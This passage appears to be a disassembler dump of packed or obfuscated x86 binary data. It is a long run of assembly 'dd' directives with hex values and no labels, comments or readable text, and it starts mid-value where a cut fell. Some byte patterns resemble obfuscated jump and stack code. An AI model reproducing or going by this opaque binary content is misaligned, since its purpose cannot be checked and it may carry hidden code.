7159669Bh, 8EB38096h, 9DD5A8B3h, 655282CCh dd 0CC9DC3B6h, 8E434082h, 0A9648968h, 0A26B5473h, 0EAAF2251h dd 2E373812h, 250h, 0D90B06E9h, 73DD2EEh, 0D309FAE0h, 63EC7F4h dd 0D80CFBDFh, 3498C73Ah, 28C631D3h, 379641E3h, 22CB2AD2h dd 0EE8B39EBh, 96654C2Dh, 6424C923h, 23AA638Ch, 40F921B7h dd 8FB3D313h, 0A13EB92Fh, 4332CA6Ch, 6B9A3F98h, 57B96BA6h dd 95E873CEh, 12299685h, 0F3650115h, 85E19CB7h, 0A15E2996h dd 0A746B168h, 9A5FCC62h, 49973C32h, 9906A26Ah, 3D6D732h dd 0BC9760F3h, 795B2F95h, 83EAE011h, 0B73FCF50h, 0E2EA0FCAh dd 0EAD4003Ch, 0EBE3CB21h, 7C912EA9h, 3EB21BDAh, 0BFA7BBDEh dd 369CD88Dh, 3B09A595h, 0F9063BF6h, 0E8C134CFh, 0E409EC46h dd 0F9B1F00Ch, 18D15247h, 0DE00D495h, 6EE82B54h, 5B1E3DE4h dd 0D823966Fh, 0C95F0B2Bh, 458C7B5Fh, 52B9239Ch, 0CB688E5Bh dd 968A5590h, 18C23D29h, 0F6F712B9h, 32E7EE23h, 0F227D41Ch dd 1323E605h, 0F526DB26h, 1D965584h, 1CE9D201h, 906EAD5h dd 0B241D584h, 0F9DC000Dh, 0F5B439D4h, 556E0F4Ch, 3EEB1D96h dd 80DA4C18h, 9B2CA059h, 6E89167Bh, 0AE43D334h, 0BF0A03C0h dd 0A015F6D8h, 782225C9h, 0B3238EEDh, 0AC6C25F6h, 9D96A5DAh dd 10F98h, 0C849A800h, 20DB114h, 36CDFBDAh, 302E70Eh, 31D6F6E1h dd 0BBF8390Bh, 0A144F80Fh, 0C92CD03Bh, 9235E722h, 963CE02Dh dd 644732E1h, 1FC42396h, 1469FF61h, 0C3020EB7h, 4F8A3FB3h dd 95BE1DC4h, 2CD5D22Fh, 20C62A93h, 0C4F03D97h, 0AD7C71B8h dd 76576089h, 76556297h, 50B98393h, 66888767h, 82B76687h dd 9684A8D1h, 0DB782523h, 239684A2h, 26A7621Fh, 88537C83h dd 6A6BA667h, 0B6AC9FAFh, 0D895C643h, 0F8F0BB11h, 128BA89Fh dd 2DAA5FACh, 2BDA7C8Fh, 4B902D3Fh, 93696CA3h, 0A88B173Ch dd 47AD646Ch, 0A224213Bh, 2FD51C06h dd 65F627C8h, 0B166F614h, 0C22B9491h, 280F864Bh, 629742C3h dd 66F5C8B1h, 0B65845B1h, 2790AD2Dh, 0A95045C4h, 66F60F6Ah dd 5A8F8CB1h, 551945B4h, 0F86836Ah, 9835B45Ah, 8A33CC75h dd 0B7571283h, 0C2389C7Dh, 1E5AAF03h, 0B00DDC72h, 2691585Dh dd 7B5144C9h, 2D7013A7h, 3ED019A3h, 3ADh, 390F1300h, 29AC658Ch dd 696CA13Eh, 23AA5F7Eh, 7C719A44h, 35B84F7Bh, 787D8A32h dd 3ABB4A6Fh, 75788B2Dh, 0CCC14E72h, 0E789571Bh, 2060BE56h dd 464E3ADAh, 0DFA4C681h, 0F701C525h, 4EF835Eh, 5C243C87h dd 55FB68h, 24148900h, 81E28952h, 4C2h, 4EA8100h, 87000000h dd 895C2414h, 0B9512404h, 6001AD1h, 0C8BCA89h, 4C48124h dd 68000000h, 2E00h, 81242489h, 42404h, 81580000h, 4ECh dd 24148900h, 0FF08408Fh, 83582434h, 34FF04C4h, 0C4815A24h dd 4, 0F95B79E9h, 178EFCFFh, 34505B49h, 320B9406h, 0B8C839D8h dd 6002318h, 0E0FFC503h, 46700C74h, 76D8594Ch, 3DA7E07Dh dd 5C001686h, 0C89BAB1h, 260B50FCh, 10E8h, 0F7CC3C00h dd 60FDE4F1h, 0A888A2BCh, 66115E5Dh, 0BF0F5682h, 815A58C0h dd 5D0AC2h, 0BBC28A00h, 170Fh, 8E8h, 0D5F6F200h, 8C3297CAh dd 0E081666Ah, 8B5E1BB5h, 0AFF7810Ah, 8157AC8Ah, 18E252C1h dd 0D7816607h, 0C181796Ah, 3100B15Eh, 78B0Fh, 0B7600000h dd 0C88B664Eh, 0F8C18161h, 5636036Bh, 52C68166h, 0A895862h dd 0F057B866h, 0C19FEA81h, 10E9339Fh, 0F5000000h, 2EDA9009h dd 2BEBD2A2h, 0C2C2AD97h, 81B90B51h, 9FC19BC2h, 0AE85133h dd 4E000000h, 3641FD37h, 784922ACh, 5885B433h, 850F4B5Fh dd 16h, 0E9FEB70Fh, 1Fh, 0E642772Eh, 9CAA3D23h, 0DADCF3D8h dd 8B6633D2h, 0FF6DE9F0h, 4BF1FFFFh, 0B57CB106h, 0E9E8CA5Ch dd 16h, 12D63D80h, 4 dup(0) dd 90E90000h, 68000006h, 600260Eh, 0F95A49E9h, 269E68FFh dd 3FE90600h, 68FFF95Ah, 60028A2h, 0F95A35E9h, 40DB4FFh dd 36D9F5E0h, 201E70Eh, 37CEFBDAh, 0DFAE205h, 97C43DD7h dd 0C530D433h, 9540E427h, 0C631D336h, 9240E429h, 614336E5h dd 0BC02396h, 8D31CE6Dh, 53B61582h, 4D8834C3h, 61549D70h dd 0C777956h, 164EEB95h, 2119CB06h, 0A5B66BB7h, 2F8F6221h dd 0ED961704h, 239D0B88h, 0D4B2A067h, 48D62718h, 20E7D3ECh dd 0CE5AFCADh, 431h, 0FFA7F118h, 0BF36D7F8h, 8E1844EAh dd 9851BE22h, 60775661h, 4F0A8B7Ch, 9CB7749Ah, 2F8F9E76h dd 4E2FECC9h, 0CB239D6Dh, 0D1EE13DEh, 2D0E20EBh, 6772080Ch dd 3357495Fh, 9D575528h, 1CD5D223h, 574336E5h, 0C3C0239Dh dd 0BDD22033h, 47D12102h, 1BE61Bh, 2637F07Dh, 0A31CF08h dd 0EFCFB843h, 40F1C32h, 2C30AF8Eh, 4336E51Ch, 0C0203E61h dd 0DECB33C3h, 3C3DDE23h, 0B9203E61h, 613E3FDCh, 0CEBB203Eh dd 60FAF303h, 8A75ACF6h, 0A390A663h, 379C6B78h, 0BA5F1C26h dd 64699C3Dh, 2B94A1B5h, 24B119C2h, 8C5D50B9h, 1E995045h dd 5C8049BEh, 8AC95479h, 1A4527EFh, 997AAF6Ch, 0BB720377h dd 7A876E87h, 7E000004h, 4F76AE63h, 597CA06Fh, 8570946Fh dd 5C7BA164h, 0CF659770h, 42C52552h, 7A913B9Ah, 51B823C2h dd 6AA34CABh, 0AC6710B2h, 23965FD1h, 0FFD7994Eh, 2FDEFF69h dd 0FB26EBBEh, 85641546h, 24E12996h, 22F62512h, 9C2F96AAh dd 0BE50B723h, 27904936h, 944548C7h, 738CB582h, 5998BE45h dd 546B9671h, 7E2BA26Bh, 53775ED8h, 7F7841B4h, 0C184AA59h dd 239660B3h, 75648A75h, 6940B558h, 0DA7C2DA0h, 805BB21Bh dd 0B22379DAh, 0EA30353Eh, 0EE000003h, 0DF063ED3h, 9EC10FFh dd 0D50024DFh, 0CEB11F4h, 1FF527E0h, 0F215B5E2h, 0CA41AB4Ah dd 108B312h, 3AD3FCDBh, 0FC17E002h, 23965F81h, 0CEA749FEh dd 94618931h, 5DDAF2Ah, 500C22E7h, 5A659CC6h, 0B4819572h dd 962B75A7h, 0E508EF2Fh, 3DEA1224h, 0E26E0BB8h, 0FEEC2395h dd 0AC21E8D3h, 0B6C134FDh, 1701F419h, 243CE2F0h, 0CE37A41Bh dd 0E18DD928h, 0B31F6FEBh, 0DE8B0209h, 44F0EF6h, 6F431DF2h dd 52044B2Fh, 0D7000002h, 8409FAE0h, 0CEFB41D5h, 8595E873h dd 0DF202996h, 480FEA4Ah, 23DECB3Bh, 960885F8h, 0F1050229h dd 930DD02h, 1E9AC103h, 1D31B8B9h, 3FDC25C4h, 2996783Eh dd 781465F6h, 94912996h, 62955832h, 22999CA4h, 47A847E7h dd 31B91BC6h, 0BC1C4A4Dh, 0B156E076h, 0CC62A746h, 25DC0690h dd 8ECD48F6h, 474E3B2Fh, 9C69BDBCh, 65719C23h, 0D545CFA1h dd 648848h, 0FF5A0000h, 36DB1469h, 0DEDC54E6h, 0D712FDE1h dd 18F5D722h, 0D274E32Eh, 5F34FCD0h, 1D1953DDh, 0BD456F9h dd 0EF2F8Fh, 31DD2FE0h, 0B34D1A76h, 8CB56CA5h, 9CD2AECFh dd 967E2B23h, 20321283h, 0BD47A72h, 9C91F188h, 5067D023h dd 708F9F70h, 0A9C8A462h, 78D48D6h, 50000001h, 860F6AA9h dd 8F8C239Ch, 638CB97Fh, 984423AAh, 8C2DCA6Fh, 0AD64A347h dd 76576089h, 748B997Ah, 0BF0A4614h, 0AD3D9D1Ah, 3F807533h dd 0AB22E789h, 2ED901FEh, 0F7D8DF08h, 0AE49EE16h, 0B059DC0Eh dd 3E5CD8F8h, 0D9F502F3h, 0F85BFB36h, 2996815Fh, 966F5C63h dd 0C14C7180h, 0CD3C9F18h, 8D2A0F29h, 2935D92Ch, 0F9D446BFh dd 0C01B6881h, 2743D009h, 52F920Ch, 0BF38D5FAh, 0B149ED1Ch dd 12BC1BC2h, 40F930F9h, 0AFC613F9h, 0BF8CED2Eh, 1C092399h dd 43EB4BB8h, 3D9844B3h, 7D9F6A9Dh, 4695725Ah, 0B1DF8686h dd 0E670757Eh, 0EA000001h, 0F3D20A07h, 35A044CBh, 29CC7093h dd 389F45C0h, 73D17394h, 0AE59813Eh, 9E6D4F76h, 0AD5C7F66h dd 9E6F5077h, 0A0BB7C66h, 23965DDDh, 8C53F55Ah, 9475A760h dd 4A4BC22Bh, 8609749Fh, 99862996h, 8E2FBE50h, 757B6B4Dh dd 840A2F7h, 0BF7AAF7Ah, 1AA9514Dh, 0A54928A1h, 73CEB58Bh dd 968595E8h, 1151229h, 0B00ECDF2h, 66F5273Eh, 0CD04A12Eh dd 11E89104h, 96617702h, 0E707F429h, 0B36E708h, 96612D50h dd 5EFDAA29h, 2996611Bh, 0FE26EB98h, 5B86DC4Ah, 715C7764h dd 8D441598h, 70BD5108h, 8FB07EE3h, 0CB76332Fh, 704D8834h dd 8841189Dh, 84896651h, 0FC79C872h, 0BC239D12h, 0A1739A43h dd 3BA6B11h, 509FAF7Eh, 7F669E6Fh, 3C29AC5Bh, 111h, 0FF69FF84h dd 0F0A92CDBh, 1A390039h, 2996855Fh, 0A015F8D5h, 0AF28D5C9h dd 21F8FD0Ch, 25F3200Dh, 6C2F96AAh, 4D6D8AAFh, 0AE4B94BAh dd 6E5FAA11h, 6BA66189h, 2DC32CCBh, 72D4D2D7h, 0F714BAA0h dd 23EE23F6h, 14F9D601h, 1BE8D2EDh, 0F0EDBF9Ah, 4C7E3B59h dd 22C72036h, 5C413CD7h, 0C1BE2396h, 73421A2Dh, 0C168386Ch dd 45A2DB78h, 621F0EC0h, 8D212DCCh, 0CDC04D72h, 458EEF2Ch dd 1E0B0EC0h, 801ECD3h, 27E607E6h, 40AB14F5h, 0DBD23197h dd 0C433C30Eh, 0DAA4D51Bh, 583E8C9Fh, 0A45D1C91h, 0BFEF0677h dd 7086830Eh, 74AD5881h, 2AAB628Bh, 2106DF6Fh, 5B5C51BCh dd 40199C73h, 1F967557h, 0EAB4A285h, 55E9EB50h, 0FEFFBE47h dd 6E7C8BABh, 557A617Eh, 0EE7D54B8h, 1FDF87BCh, 490A2FEAh dd 0EBFDF30h, 0D45EF0ADh, 0C251CCF1h, 0EBFDFB7h, 0B824734h dd 182Ah, 31CE5600h, 9CD87E89h, 80F91ADFh, 0FD299685h dd 0D51CF1CEh, 0E70704EAh, 0AC658C51h, 6CA13E29h, 0AA5F7E69h dd 719A4423h, 0B84F7B7Ch, 7D8A3235h, 0BB4A6F78h, 788B2D3Ah dd 0C14E7275h, 89531BCCh, 4C381E3h, 83000000h, 1C3304EBh dd 241C3124h, 5C241C33h, 465768h, 241C8900h, 81E28952h dd 4C2h, 4EA8300h, 5C241487h, 56241489h, 0FB28BDBEh, 63B9517Bh dd 9435E31h, 0EE8159CEh, 75FF1527h, 545EF389h, 8124148Bh dd 4C4h, 68525000h, 33439EBh, 0B9F2815Ah, 0F775F16Ah, 0A6F281DAh dd 89893AACh, 0D0015AD0h, 8B581889h, 89522414h, 4C281E2h dd 81000000h, 4C2h, 24148700h, 2434FF5Ch, 4C4815Bh, 0E9000000h dd 0FFF953CAh, 0A29CB46Dh, 0B8444528h, 6002AADh, 0E0FFC503h dd 52F4B58h, 84F2362h, 132EBBA4h, 6D16B81Dh, 5F503949h dd 2C7B8D8Dh, 6A0600h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 19DAADC3h, 89C28915h, 0F90CDD8Dh dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 420937FAh, 85C77AB0h, 5F926C1h, 6688h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0A0C35545h, 365F38D6h dd 0BA5731E2h, 4840Fh, 0B8660000h, 840FE9BEh, 9, 38B0Fh dd 0B70F0000h, 0FD85C7C1h, 5F900h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 5DC350h, 5E8F9h, 9B030000h, 0F739BDBh, 0FF5BDFBFh, 0F913ADB5h dd 49BD0105h, 0FF05F900h, 0F920D595h, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 8D7A92F0h, 25B331Ah, 8E9h, 3D7D6D00h, 45C2EE14h, 0FF006A96h dd 0F91AED95h, 0EBC08B05h, 0E6271B2Fh, 80124FBEh, 17CC5CB7h dd 0D8CD1107h, 273E4F9Ah, 0C024B893h, 2E08A1F0h, 3A0E8760h dd 35747CBAh, 0DB1B7972h, 18800D1Bh, 0FDA8A84Dh, 12E8h dd 37F9A700h, 0E9CADF3Eh, 0A22A3056h, 4F3A05F6h, 8B4561DEh dd 0F900F59Dh, 8D8B5A05h, 5F9055Dh, 595CC281h, 0C68B0000h dd 162F68h, 93B96600h, 0BF0F5FC4h, 81328BDEh, 0EC7600C8h dd 0F2F68114h, 606596CAh, 6FD8D8Bh, 8B0F05F9h, 2, 8161CA8Bh dd 5267A8EEh, 0CF8B6624h, 7647F681h, 85317B63h, 5F90AF5h dd 3830F56h, 80000000h, 28F34D7h, 34F18166h, 0C6EA81D3h dd 0E90E4498h, 6, 40D5C41Dh, 0C2814BA9h, 0E4498C2h, 1EF81h dd 850F0000h, 0FFFFFF99h, 0CA81F560h, 687D7E3Eh, 158D8D61h dd 6A06002Eh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 670FC350h, 75F19633h, 1FD9B589h dd 8D8905F9h, 5F90CDDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 85C35545h, 26C185C7h, 5AE005F9h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0D1842AC3h, 7E571567h, 5E8E157h, 0A7000000h, 64FF04C2h dd 0C75AD08Ah, 0F900FD85h, 5, 0F88B6600h, 2A69B5FFh, 5E805F9h dd 0AD000000h, 370BB745h, 2891B589h, 0FF5E05F9h, 0F920D595h dd 6A5AB405h, 0ED95FF00h, 8B05F91Ah, 5B4AEBC0h, 33A3A67Bh dd 6893D772h, 0D84C6147h, 91A609C3h, 5F79BE08h, 0F27AA981h dd 94C99727h, 6B8E68D4h, 0CDCCF251h, 221E95E5h, 6BB50593h dd 80F0F996h, 0E6052AE5h, 88B34B6Ch, 0D85EB253h, 5269395h dd 79D6BEAh, 5EF98C37h, 7C9353D5h, 21BF5DB1h, 2256AEB1h dd 0E12F2D17h, 28199D93h, 4EA2A1CCh, 18CDEEDFh, 3BBFC2CAh dd 3656BAB1h, 0C210EE38h, 3FB31B46h, 300057B1h, 0FA56ABB1h dd 0F62F8087h, 0F07BA3C0h, 24FB76F3h, 0FE816FC4h, 0CB0803B1h dd 0B259AEB1h, 325657B6h, 44512D1h, 5237C5D3h, 0C2D78CD1h dd 3EBE0760h, 7856BAB1h, 0E160C3D2h, 1BE24640h, 6DA99497h dd 0CDE9A4D0h, 6465D1D0h, 0BB59EAB3h, 325675BDh, 0E4D7DCD1h dd 77E90CD3h, 537530E8h, 23BF57B1h, 0DE56ABB1h, 0B6DAC11Ah dd 0B26DFF72h, 2AF61DB7h, 90CA0EDCh, 32564C58h, 0B0D8AFB1h dd 89CE2B8Fh, 5233EA5Bh, 0B67D8FE5h, 32567001h, 0DB56754Dh dd 3256BAB8h, 7D363B7Eh, 4EBB1795h, 0DB5657E0h, 3256ABBFh dd 0E80A94Dh, 0B6192A58h, 0B18B01D5h, 9980EE56h, 32575DEDh dd 32AAAEB1h, 8C3037B1h, 0FCD7D7CAh, 4807BFB7h, 6CBC61D0h dd 0B05975B1h, 3256BAA3h, 32565058h, 0A08507B1h, 1EE0D7BAh dd 2DB0DDE2h, 32560F4Dh, 3256EF58h, 89EF6B1h, 32AFC905h dd 23DE52B1h, 3D56AEB1h, 32565C32h, 325042B1h, 340AD5B1h dd 0F37126BDh, 38BF75B1h, 0D156BAB1h, 5A28F3C0h, 0A9F56039h dd 0DB56570Ah, 3256ABA1h, 99034DF7h, 0A1C6522Eh, 50142EC2h dd 909C6407h, 32AF5DB1h, 325652B1h, 3D565748h, 3256A63Dh dd 0BA59B5B1h, 3256EAB1h, 2BA4F4D7h, 3DBFDB4Dh, 0E6565DB1h dd 71E94FC7h, 0C0F5C000h, 0EDF51927h, 3256ECE8h, 5256EA44h dd 0B39FF4D7h, 0E8DDDC25h, 3D565DD0h, 3256A039h, 325FBEB1h dd 0AB27ABB1h, 4A18699Dh, 321C2A4Fh, 325F9CB1h, 1367BAB1h dd 0C6D4011Ch, 321E3583h, 3BDD58B1h, 5256ABB1h, 20ED8FE7h dd 536EE055h, 32AE75B1h, 6405DAB1h, 323707EFh, 32A356B1h dd 80E437B1h, 538E20D7h, 325E3CD1h, 0C7D7EAB1h, 8E2C4E06h dd 3237902Dh, 3256A4B1h, 0B28625D1h, 3237E56Eh, 325753B1h dd 3247D5B1h, 3EBFEAB1h, 435675B1h, 44049FBBh, 0B561D516h dd 32F1C70Eh, 33DC58B1h, 0CB56ABB1h, 325B5CBEh, 5436EAB1h dd 9E8C8230h, 1BB96A30h, 0EA3752D1h, 3456AAB6h, 365652B1h dd 285692B1h, 0D954C1B1h, 32379734h, 0B93015B1h, 325C526Bh dd 738F5DB1h, 8107F4CBh, 0ED828E9Fh, 699D14BEh, 5256D5D0h dd 324403E0h, 0A63375B1h, 0CB740651h, 0FEEB6E95h, 47CD2B57h dd 0B2C4F109h, 0C2D7CDEFh, 3237C03Bh, 325E03B1h, 0CBA875B1h dd 40EB8BF9h, 325672C0h, 325A24BEh, 0B33657B1h, 47471843h dd 98EFB3B4h, 32568B54h, 325EFDBEh, 5436BAB1h, 8D59833Ah dd 3256CF70h, 32564658h, 2B33CBB1h, 7A5CB77Fh, 61219F59h dd 0BAA5B122h, 32562FA2h, 68565D48h, 8B9019B3h, 762DD0A9h dd 0C756ABD0h, 300CD5B1h, 3256EAB0h, 0CA567549h, 52044C9Ah dd 32565B59h, 760178B1h, 6CA5359Ch, 3256BF59h, 88B309B1h dd 0B43722DAh, 20CB01F6h, 6CCF5A52h, 5803518Eh, 3D37F0EAh dd 325FBE80h, 0F05BABB1h, 3C5FC562h, 6893D69Eh, 600625E9h dd 3256B358h, 0F12420B1h, 2DE8D7F1h, 35962DDh, 5336F9E1h dd 3ABFE4BEh, 4256EAB1h, 0AE591B58h, 687DC014h, 0A40E07E9h dd 0AE369FBEh, 32564758h, 0D41783B1h, 402B0196h, 8C2FAA72h dd 0F86319AEh, 0A4933A8Ah, 32565158h, 10BBAAB1h, 5CBF2702h dd 48F337BEh, 35E8489Ah, 534436EEh, 76DF2DEBh, 0AE36BE95h dd 32565358h, 0FEA9B0B1h, 8A4D7DA4h, 56A15D20h, 0B2C5577Ch dd 26BF2455h, 0CE5675B1h, 0DA5D6034h, 0A6B1FBB0h, 32D59C8Ch dd 1E892988h, 0AFAD2144h, 6A370805h, 88B336FEh, 0B930E8DAh dd 320EDB49h, 9B662EB1h, 570A619Fh, 0AE3666BEh, 3256A758h dd 0A04B21B1h, 0EC4F8AD2h, 0D883F90Eh, 84BA3A6Ah, 32565158h dd 70DB8AB1h, 0BCDFC7E2h, 0A813171Eh, 95E8487Ah, 5327DFFEh dd 8E0E2DEBh, 6A9D20F4h, 80AAEA91h, 86C71410h, 7E78CB51h dd 5814B82Eh, 38BFB482h, 0A056EAB1h, 0DF68200Ch, 0C621BACAh dd 0C7565D20h, 52A3AEB1h, 0E2E958D1h, 53861CBEh, 3256C758h dd 28EF9B1h, 0DBF3946Dh, 98FBF56Eh, 9EF892DDh, 53C4500Bh dd 32AE57B1h, 33D0A4B1h, 0CE56D5B1h, 5436EAB1h, 54CBED08h dd 6D0F5130h, 0C7565DD0h, 0DB56AE4Dh, 325657A5h, 36643454h dd 29B7EF5Eh, 89ADCA92h, 77F709Eh, 66E75424h, 32AF5DB1h dd 0F9E9CEB1h, 0DA633874h, 3256ABB7h, 450B163Dh, 0F5DC499Ah dd 325614EBh, 3256BC58h, 0C3C39BB1h, 32B06F0Bh, 3251BEB1h dd 2846ABB1h, 364EC469h, 0CB56EAACh, 0BB5975B1h, 3256BAB9h dd 0B330A5D1h, 535EB969h, 0DB3657B1h, 3256ABA5h, 703A5A98h dd 0FE93D44Ch, 3E4504BFh, 3BC51C9Ah, 91563A67h, 407516D7h dd 3D5657D0h, 3256A536h, 325F3CB1h, 105DEAB1h, 82623F4Fh dd 3262D25Bh, 33DF52B1h, 0CB56AEB1h, 32565C58h, 0D6C7EB1h dd 41214065h, 6EE01A2Eh, 32A375B1h, 39DBB5B1h, 0DB565DB1h dd 3256AEB7h, 7837CA84h, 3256AE9Ch, 32595DBEh, 38BFEAB1h dd 765675B1h, 0A739C632h, 33F0C61h, 3D56AE5Dh, 32565639h dd 325653B1h, 3256C758h, 1A73A2B1h, 4C09854Fh, 0CD57051Eh dd 317A3EAh, 32DF06C5h, 33D158B1h, 0CA56ABB1h, 6536D5B1h dd 0B20FB2E1h, 32376979h, 32564FB1h, 325EDDBEh, 3D36AEB1h dd 3256573Dh, 32A3CAB1h, 8D59B5B1h, 53305F61h, 0BD5975B1h dd 3256BAB6h, 3257DFBEh, 32A3AEB1h, 0B33037B1h, 53513B79h dd 0BA59D5B1h, 3256EAB8h, 0B25980D1h, 3256BAB1h, 3D565DD0h dd 3256A239h, 34D258B1h, 3D56ABB1h, 3256D533h, 325612B1h dd 325CF5BEh, 0B336BAB1h, 53D8227Bh, 5309FF8Bh, 32D358D1h dd 5456ABB1h, 53553F0Fh, 0BC59EAB1h, 325675B6h, 32573ABEh dd 32AA5DB1h, 21BECEB1h, 845657B1h, 0ECBC7D33h, 56BCB67h dd 4669893h, 338573FCh, 0DAD6E43Ah, 0B9300385h, 26BFCF69h dd 0CB5657B1h dd 144E789Eh, 6BC36B3Dh, 0DD85BE46h, 47D57EE2h, 32539DA1h dd 325EB4B1h, 5957AEB1h, 578A0353h, 3256616Ch, 325150BEh dd 5436EAB1h, 0F9DD863Ah, 37BFDAD0h, 9B565DB1h, 553E1D1Ah dd 32563644h, 3256A458h, 16C457B1h, 0D2608763h, 0DA7148BFh dd 333BC52Bh, 0DB565D48h, 3256AEB8h, 6BE433ABh, 4A11D2A7h dd 0CA56D5A0h, 32AEEAB1h, 32429CB1h, 5675BAB1h, 0DA3FDB54h dd 7DE2382Dh, 31FF9F99h, 0BF8AD753h, 3256B7EDh, 325767BEh dd 32AF75B1h, 325953B1h, 0E8E35DB1h, 46EFD360h, 0E2ECF161h dd 0B0E2007Dh, 0DB56D56Dh, 3256EAB7h, 9D5358FBh, 3256C6ADh dd 3257D2BEh, 32A3AEB1h, 325BBEB1h, 85BAABB1h, 0F67F0719h dd 2F1A7E10h, 32646150h, 0E2DCDAB1h, 0AB9FDDE3h, 3256CFEAh dd 3251DBBEh, 0BC59ABB1h, 3256D5B0h, 0DB56EA44h, 325675A0h dd 0B7191DB2h, 139AFBCBh, 2D3F6933h, 0BDDDB7A8h, 3251420Fh dd 0D418D5B1h, 9E426196h, 52567549h, 325A53E3h, 0C8CF5DB1h dd 0DB517180h, 0FD596ED8h, 530C84BAh, 35BFD5B1h, 0B756EAB1h dd 3FF9E91Eh, 32563EFDh, 3241D2BEh, 20BFAEB1h, 0AD5657B1h dd 5B13BC9Bh, 0E0E6F95Ch, 0D1BA7EB0h, 1F1AB17Fh, 0DB56BA16h dd 32565DB4h, 0E763C78Ch, 3D5657A6h, 3256AA37h, 32562CB1h dd 0C756EA49h, 32567D58h, 0A197ABB1h, 3FAD8F63h, 0CB56AE51h dd 32564758h, 61E136B1h, 9809A962h, 4CD4A497h, 0AF426F65h dd 3D56BA3Bh, 32565C3Ch, 325657B1h, 0CE565749h, 3BBFABB1h dd 0A156D5B1h, 0B81AA136h, 0B7CE2370h, 0B959BAB1h, 32565DBDh dd 32502FBEh, 0BE5957B1h, 3256ABB1h, 3CBFD5B1h, 3256EAB1h dd 7A99C384h, 785C2E06h, 8E754AA9h, 0DB56AE26h, 325657A0h dd 6EE412A2h, 8A58A008h, 38C7F28h, 0C1E6E60Eh, 0CB56BA05h dd 8D590FD1h, 0F1D6F073h, 325636A6h, 3256B958h, 412A92B1h dd 910BFDC3h, 15249601h, 2D8E02A6h, 32431B0Fh, 0FDDDCEB1h dd 7C79EFD7h, 5256ABD0h, 0DBAC6ABEh, 3256EAB7h, 7BCA84AEh dd 32373E93h, 3253B4B1h, 0CF45AEB1h, 325B7734h, 324542B1h dd 9BADD5B1h, 6B6D069Dh, 0ED58279Ch, 47D117ABh, 0A85B38BDh dd 0CE56AED3h, 3EBF57B1h, 7B56ABB1h, 1FA85A7Ah, 0E2CAC840h dd 32506FCFh, 3AD1B5B1h, 3D565DB1h, 3256AC3Fh, 323737B1h dd 325E42B1h, 3A8BD5B1h, 1956F52Bh, 5436833Bh, 3D385B08h dd 3256583Ah, 87DC10B1h, 32373578h, 2FDBA4B1h, 5256D5B1h dd 61B10330h, 3DBE2FFBh, 9D56BAB1h, 0CB7CBCAAh, 0A365766Dh dd 4ACB3522h, 530F1696h, 39BFD5B1h, 0DC56EAB1h, 9008C92Dh dd 0AEDECD3h, 3256A17Bh, 0EADDC8D1h, 32563648h, 325943D1h dd 0CC21D5B1h, 0B49730F4h, 4BB248BCh, 0BFCBD3A4h, 1293DDC2h dd 64C117E8h, 32375501h, 325652B1h, 3256DA58h, 46A97EB1h dd 0A82A55FFh, 0C561426Ah, 5957EEC3h, 32AEAEB1h, 0F6E537B1h dd 214F11D7h, 5256D5D0h, 325460BEh, 0C9DD75B1h, 3256DB44h dd 32564F58h, 3128C5B1h, 20F16738h, 0C5627459h, 35FE178h dd 322D593Dh, 325E9CB1h, 3D1FBAB1h, 0B2981AEEh, 325683A2h dd 325DBE4Dh, 8E90ABB1h, 149EFA99h, 56FA4ACDh, 525675EDh dd 858C0DBEh, 0CB363CE8h, 3256CF49h, 52565748h, 3256BB59h dd 0EF5186B1h, 6E61BD95h, 6CB4B0FDh, 0F9807FB9h, 325EB5E3h dd 0E909AEB1h, 1AB7BEFEh, 6A0D942Bh, 5256D5D0h, 3CBFB2E0h dd 0D25675B1h, 8889546Ah, 9A8F979Eh, 526F2E45h, 0B9593669h dd 3256ABA7h, 325C3CD1h, 5C1EAB1h, 0FC31D1ADh, 0D5ECDDD1h dd 2B8CDCD7h, 3256CF5Ch, 0BF593749h, 3256ABB3h, 3CBEB4D1h dd 3A56EAB1h, 0A5D255B7h, 0E2B6E28Dh, 9AA4E843h, 325847F6h dd 8F9357B1h, 83B52E8Fh, 527D5386h, 580FF46Bh, 325614EAh dd 3256AE58h, 0E52D4B1h, 0AD37D606h, 7115266Fh, 0ADE710A4h dd 0AD83D89Fh, 5256EA93h, 6EF4CFD7h, 785A1C0Bh, 32563C8Eh dd 3256A158h, 3F5D32B1h, 0EE1629C1h, 17263320h, 30EA2A31h dd 32AA75B1h, 0B65943B1h, 32565DB0h, 0DB56AE4Dh, 325657A1h dd 842D6014h, 0B0BC17F4h, 0D70D36B3h, 0AA11ACE2h, 5256BA4Dh dd 4524BD30h, 8A30BFC6h, 32376D4Ch, 0B930CBB1h, 0CFDC837Eh dd 32568BE9h, 3DBE22D1h, 9C56BAB1h, 72244F70h, 5597B3DDh dd 962086B4h, 680E0190h, 3237293Bh, 8A308AB1h, 32370843h dd 33D7B5B1h, 0CE565DB1h, 32AAAEB1h, 3256AFB1h, 324128BEh dd 20BFD5B1h, 2A56EAB1h, 0FD0C35A1h, 0B2C85F1Dh, 0F1011DF2h dd 0CFD82C0Fh, 3D565723h, 3256A331h, 30D2DAB1h, 5256EAB1h dd 3D5675D0h, 3256B831h, 32373DB1h, 35D9A1B1h, 3D5657B1h dd 3256AA34h, 32562CB1h, 3256E458h, 7EC9AAB1h, 1267EF0Fh dd 1299D88h, 52CCF79Fh, 5476A031h, 6AE74830h, 0C756D5D0h dd 3256ED58h, 0FCC628B1h, 73844A0Ah, 0CBAF5DB1h, 0CB36AEB1h dd 98B4D6D7h, 3256CACDh, 0B3AD5ED1h, 18C89570h, 325614AEh dd 324B32BEh, 0BD595DB1h, 3256AEA6h, 32564558h, 0B0C7EBB1h dd 0BCE47666h, 0CB82D91Ch, 0B6F8E267h, 320D6CA4h, 3256A1B1h dd 53331AD1h, 0C73657B1h, 325623BEh, 3237D5B1h, 325613B1h dd 3251FFBEh, 0B559BAB1h, 32565DB0h, 0CA56AE4Dh, 325AD3BEh dd 0BF59ABB1h, 3256D5B7h, 32566BBEh, 325675B1h, 